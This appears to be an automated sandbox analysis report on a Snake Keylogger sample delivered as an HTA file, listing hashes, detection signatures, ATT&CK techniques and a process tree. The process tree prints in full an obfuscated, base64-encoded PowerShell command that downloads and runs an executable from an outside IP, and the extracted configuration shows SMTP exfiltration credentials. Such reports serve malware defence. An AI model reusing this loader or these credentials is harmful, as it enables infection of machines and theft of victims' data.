snakekeylogger | 4fde814d5f352592a5b42c856b41548f1517ee82a1c042b882622ace5a6b06f6

Analysis

max time kernel
122s
max time network
134s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
03-10-2024 06:30

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General

Target

IEnetbookupdation.hta
Size

115KB
MD5

3f20ef35e2f63a4e4f0719740bf9deeb
SHA1

6e804455dcf41545ebb533636558481e0da69b8a
SHA256

4fde814d5f352592a5b42c856b41548f1517ee82a1c042b882622ace5a6b06f6
SHA512

b7f959280d4107fbc3f4e2a646f542e2bb55bcde0840848e81c14e5dbf7fd142af337d85eb045d3c7b8686fa568f9f4df6e76a22378d3b6e653199fb5db9cc65
SSDEEP

96:Ea+M7alGgrialG5prPFX7/wZf83kJcAlGo3lGZN5Dr93lGaAT:Ea+QpgWpfRKLeHndaBT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.kotobagroup.com
Port:
587
Username:
[email protected]
Password:
Kotoba@2022!

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/3056-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/3056-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/3056-31-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2336	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2336	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2664	dllhost.exe

Loads dropped DLL 1 IoCs

pid	Process
2336	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0008000000018b03-21.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2664 set thread context of 3056	2664	dllhost.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2336	powershell.exe
2336	powershell.exe
2336	powershell.exe
3056	RegSvcs.exe
3056	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2664	dllhost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	3056	RegSvcs.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 2460	2108	mshta.exe	30
PID 2108 wrote to memory of 2460	2108	mshta.exe	30
PID 2108 wrote to memory of 2460	2108	mshta.exe	30
PID 2108 wrote to memory of 2460	2108	mshta.exe	30
PID 2460 wrote to memory of 2336	2460	cmd.exe	32
PID 2460 wrote to memory of 2336	2460	cmd.exe	32
PID 2460 wrote to memory of 2336	2460	cmd.exe	32
PID 2460 wrote to memory of 2336	2460	cmd.exe	32
PID 2336 wrote to memory of 2644	2336	powershell.exe	33
PID 2336 wrote to memory of 2644	2336	powershell.exe	33
PID 2336 wrote to memory of 2644	2336	powershell.exe	33
PID 2336 wrote to memory of 2644	2336	powershell.exe	33
PID 2644 wrote to memory of 2696	2644	csc.exe	34
PID 2644 wrote to memory of 2696	2644	csc.exe	34
PID 2644 wrote to memory of 2696	2644	csc.exe	34
PID 2644 wrote to memory of 2696	2644	csc.exe	34
PID 2336 wrote to memory of 2664	2336	powershell.exe	37
PID 2336 wrote to memory of 2664	2336	powershell.exe	37
PID 2336 wrote to memory of 2664	2336	powershell.exe	37
PID 2336 wrote to memory of 2664	2336	powershell.exe	37
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38
PID 2664 wrote to memory of 3056	2664	dllhost.exe	38

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\IEnetbookupdation.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWErShELL -EX ByPASS -NOp -w 1 -C deVicECrEdEntiAlDEPloYMeNT.exe ; iEX($(IEx('[sYStEm.text.encODinG]'+[ChAR]0X3A+[CHAr]58+'UTf8.gEtSTrIng([systEM.ConvERT]'+[chaR]58+[ChAr]0X3A+'fromBasE64strIng('+[ChAR]34+'JDdZOVg2a1NJMVUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQmVSRGVGaU5pdGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxtT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5cVloakVseixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTWE9XUEtnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExSbkZTTSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRnd6eGdDeU8sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU05DQkxtZik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIktIYmtPb1MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWVzUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlKUnlETnJlRyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN1k5WDZrU0kxVTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjkvNzgwL2RsbGhvc3QuZXhlIiwiJGVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJULVNMZUVwKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[Char]34+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWErShELL -EX ByPASS -NOp -w 1 -C deVicECrEdEntiAlDEPloYMeNT.exe ; iEX($(IEx('[sYStEm.text.encODinG]'+[ChAR]0X3A+[CHAr]58+'UTf8.gEtSTrIng([systEM.ConvERT]'+[chaR]58+[ChAr]0X3A+'fromBasE64strIng('+[ChAR]34+'JDdZOVg2a1NJMVUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQmVSRGVGaU5pdGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxtT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5cVloakVseixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTWE9XUEtnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExSbkZTTSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRnd6eGdDeU8sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU05DQkxtZik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIktIYmtPb1MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWVzUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlKUnlETnJlRyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN1k5WDZrU0kxVTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjkvNzgwL2RsbGhvc3QuZXhlIiwiJGVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJULVNMZUVwKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[Char]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zv2bsxfo.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2644
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDE11.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDE10.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2696
  - - C:\Users\Admin\AppData\Roaming\dllhost.exe
      "C:\Users\Admin\AppData\Roaming\dllhost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2664
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Roaming\dllhost.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESDE11.tmp

Filesize
1KB

MD5
0a78b88089baae0963680c2324fcddaa

SHA1
69ed50e2ed995adfa89de6f170e8fd06cc6140cc

SHA256
3506315ab5e536d4c2ea3ab040888cb5c1c6b9c2cc9721aeeb53ecd64d43b2cd

SHA512
0858a5ce5e74efc7632f38c45e28811bf97ab300580fa2e822bf355c80e0d2208c8f17a1148af570b9de57e281bacca8d5572b6b68428b7d5d87250732564f0c

Download Submit
C:\Users\Admin\AppData\Local\Temp\zv2bsxfo.dll

Filesize
3KB

MD5
6bd7d99ec6d015083b4ab9efb2dd131d

SHA1
65d406c9124a564d3f99910c2fa2d4e4267c6b99

SHA256
582da1b79956f531c3138c2896228996c87fdf8604569da8b7cd33ebeb129719

SHA512
0070742f298890c7b4f0cdaaff96c7952819213660c36181668dd0034ffd4121c655bfb7efce86b1d08bbb6e1ed44600faca0f3e17b9e91a7a4dc275365a049a

Download Submit
C:\Users\Admin\AppData\Local\Temp\zv2bsxfo.pdb

Filesize
7KB

MD5
70b46aea48cd7735ef0ede492b05675d

SHA1
4de3ada5149f78675658f48adfd82c7d232d8ce6

SHA256
c3e1b1f710f1d76105b54a3b8aa46e97f0f13caea0adc4dd72dc1ffc8f3df963

SHA512
f2d7a18bbd1bed631b1558b33f625dcf06f54b20cb7700ffb0559189546c85ad33396364000d1a5580de4ff6eb068390bd1423e7da7fc214f2359de6b5a65e50

Download Submit
C:\Users\Admin\AppData\Roaming\dllhost.exe

Filesize
1008KB

MD5
46ce226283fb84a52a6a902fc7032363

SHA1
c3bb1c73525de62dc7756ad40574ad6c6c148996

SHA256
9f3a7c1a4cc7e6e68e610bdce33046edb090a648e362ab8d3df8ba72561e1482

SHA512
36ea4f80512c7b20d1c34406b6bdd77f64831c4569d7cb4418d4904dffdb8d33e3b6e4f37fa2b949449c04569bd1f9dc3dd010027de288ab2f8ac9de02d4f34d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCDE10.tmp

Filesize
652B

MD5
879dc6eae48b34d2838c92d11780ebaa

SHA1
bfeddefe2b54177d3c0d98f903611380fb805462

SHA256
1bde9d03511f7de85d83c19acb52a0dbc2886638a8fc64f5f9461503c2af983d

SHA512
21bb35622e0e9633e2ceeeae56b0142bf367f203035b7f90a74b5c441a5c33e4fab235b69b7a310b634c4fefd5c09039b9870cf258a2a7feeb6b24c344a1fbac

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zv2bsxfo.0.cs

Filesize
485B

MD5
526cb8f584c9e67eaad8958503b05f30

SHA1
2c52fac6e929f46dcb4b0cdbeab72cfb806a2c87

SHA256
af9253507cbd12a1875ffc8b02988ef5bccc511c7c77614cb34c5115b42c5b76

SHA512
5552f12bb883f18c7901a8d873eb1beaab9aa2e06a213ab476ef5a21b00faa69ab438261b7612c7be0cbd3d9f6086a1861c4f28ab3df41969d227eabbe0d9619

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zv2bsxfo.cmdline

Filesize
309B

MD5
818857d2f664e423733c26205a1099cf

SHA1
487a5bb74cde2f4c16a1fadbabc0bc6277133ccb

SHA256
15f598ee015d73bcabbdfe5214cf6282398e4641cde36c77c1f63a480f9702ac

SHA512
ea47c7faa7a15393947d9c0f6e8912370670cf8f73b8c9802a9dee3d56132a3a038c667090cd3544438f293cca40cdfe94b8f5ec3b80eb82a8c487edabfcc657

Download Submit
memory/3056-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3056-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/3056-31-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download